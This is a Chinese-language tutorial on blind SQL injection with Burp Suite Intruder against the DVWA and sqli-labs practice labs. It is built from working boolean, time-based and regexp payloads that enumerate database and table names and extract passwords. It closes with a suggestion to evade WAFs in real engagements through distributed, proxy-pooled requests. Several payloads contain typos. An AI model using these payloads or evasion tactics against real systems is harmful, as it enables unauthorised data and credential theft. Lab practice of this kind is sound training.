对于sql盲注,常用的方法应该是二分法,如果是windows平台的话dnslog会是一种奇招,对于个人对盲注的理解,猜解需要大量时间和过多的经验,那么有没有一种比较不错的方式来进行盲注来达到快速又流程话的工作呢?这时候我会使用到burpsuite
我们用最常见的dvwa来做测试
选择sqlinjection(Blind)也就是盲注
先从简单开始搞
开局burp抓包
判断有多少列. 猜解SQL查询语句中的字段数
这个就很简单了 由于是数字型注入我们就可以用简单的
这里就很简单了
那下面不废话直接用一种新的玩法 告别二分法
我们可以把我们要注入猜解的语句都写成字典
通过burp爆破的形式直接搞出来
如 猜解数据库有多少个字符
会使用到length length(database())=1
那么直接构造字典
这个也不需要太长,一般数据库使用的名字不会超过三十个长度吧(我就见过几次)
把拦截的请求发送intruder爆破
先去找到成功注入的字段
将User IDexists in the database 添加到intruder的options中的Grep Match匹配中去
导入字典开始攻击
可以看出有四个字符
这里有更好的方法就是只爆破一个点就好
那么所有字典里面其实都是成为1 2 3 456.。。。了 那么现在我们就开始都用123456开始搞事情
盲注需要了解的语法函数有几个很关键
length(str)
返回字符串str的长度,以字节为单位。一个多字节字符算作多字节
substr(string string,num start,num length)
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的
ASCII()函数用来把字符转换成ascii码值
接下来就会用到这三个函数
那么我就不采用二分法猜数据库名字了直接爆,用二分法猜要猜第一个字符之后第二个时间太长那么我们只需要一个字典就OK啦
猜数据库长度payload设置
and ascii(substr(database(),1,1))=97
看图
采用bomb方式多重炸炸炸
这时候我们就一个字典里面弄个1到122就行 你们懂得省事
那么就是开始爆
这时候对比ascii?表就可以知道数据库是dvwa了
是不是比二分dnslog速度快多了呢
当然dnslog配合python写个自动化也很好
后续爆表长度表名字字段个数长度名字也是如上爆爆爆
看如下payload
爆表个数
爆表长度
爆表名字
多个表就多个标记你懂的
这样的盲注速度真的是节约太多时间
还有可以用时间注入的方法进行盲注
if(length(database())=1,sleep(5),1)
if(ascii(substr(database(),1,1))>97,sleep(5),1)
if((select count(table_name) frominformation_schema.tables where table_schema=database() )=1,sleep(5),1)
if(length(substr((select table_name frominformation_schema.tables where table_schema=database() limit0,1),1))=1,sleep(5),1)
等等
就留给大家结合burp神器自己动脑使用一下使用之后发现是不是节约很多时间呢 大家可以使用sqllabbwapp 等靶场试试
下面是用到盲注regexp(正则)的方法来战sqllab
?id=1' and length(database())=8 %23
当前数据库名字长度为8
?id=1' andord(mid(database(),1,1))=97 %23
爆破数据库的名字
security
?id=1' and(select count(table_name) from information_schema.tables wheretable_schema=database())=4%23
security库内表的个数为4
?id=1' and length(substr((selecttable_name from information_schema.tables where table_schema=database() limit0,1),1))=6%23
第一个表名的长度为6
ORD和ascii的方式:
?id=1' andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1))=6%23
爆破security库的第一个表的名字
emails
正则的方式:
?id=1' and1=(select 1 from information_schema.tables where table_schema=database() and
table_nameregexp'^e')
security库中所有表的第一个字符集合{e,r,u}
?id=1' and1=(select 1 from information_schema.tables where table_schema=database() and
table_nameregexp'^ea')
以e开头的表名的第二个字符为m
由此可得其中的一个表为:emails
得到第二个表:referer
以此类推就都出来了
以u开头的表的第二个字符的集合为:{a,s}
其中一个表为:uagents
另一个表为:users
正则的方式比ORD和ascii的方式更好的地方在于:
1.使用正则不用再去猜测表,字段等等的长度
2.正则可以一次性同时爆破多个表或字段
3.爆破的结果不用再去查ascii码表
下面接着用正则爆破user表中的字段名:
?id=1' and1=(select 1 from information_schema.columns where table_name='user' and
column_nameregexp'^e' limit 0,1)%23
user表中所有字段第一个字符集合为:{e,r,t,u,i,p,a,s,d,f,g,h,i,x,c,m}
以p开头的字段名的第二个字符集合为:{r,a,i}
以pa开头的字段名第三个字符为:s
大胆猜测一下:password
验证确实如此。
因为拿到其他字段名的方法与上述一致,就不重复了。
最后通过rod爆破拿到一条password字段的数据:
?id=1' andmid((select password from users limit 0,1),1,1)='a'
dumb
拿到其中的一条数据;
这里更为严谨的应该是:
?id=1' androd(mid((select password from users limit 0,1),1,1))=97
进行rod爆破,再将结果通过ascii码表转义
小结: 可以用二分法asci,ord,mid,substr,left
也可以通过时间注入 shell
还可以用benchmark测试数据库性能的方式(不推荐,数据库有时候扛不住)
使用burp进行注入也需要对盲注的方式,盲注的注入点查找要了解,通过构造语句来进行爆破测试,GET到关键的参数,设置好标记就能轻松blind了
出来实战的话很多项目waf会把我们干掉那时候我们就需要把爆破速度调整分布式分小段爆+代理池的方法或许有点效果,希望各位实战时能有好的方法共同分享
希望大佬轻点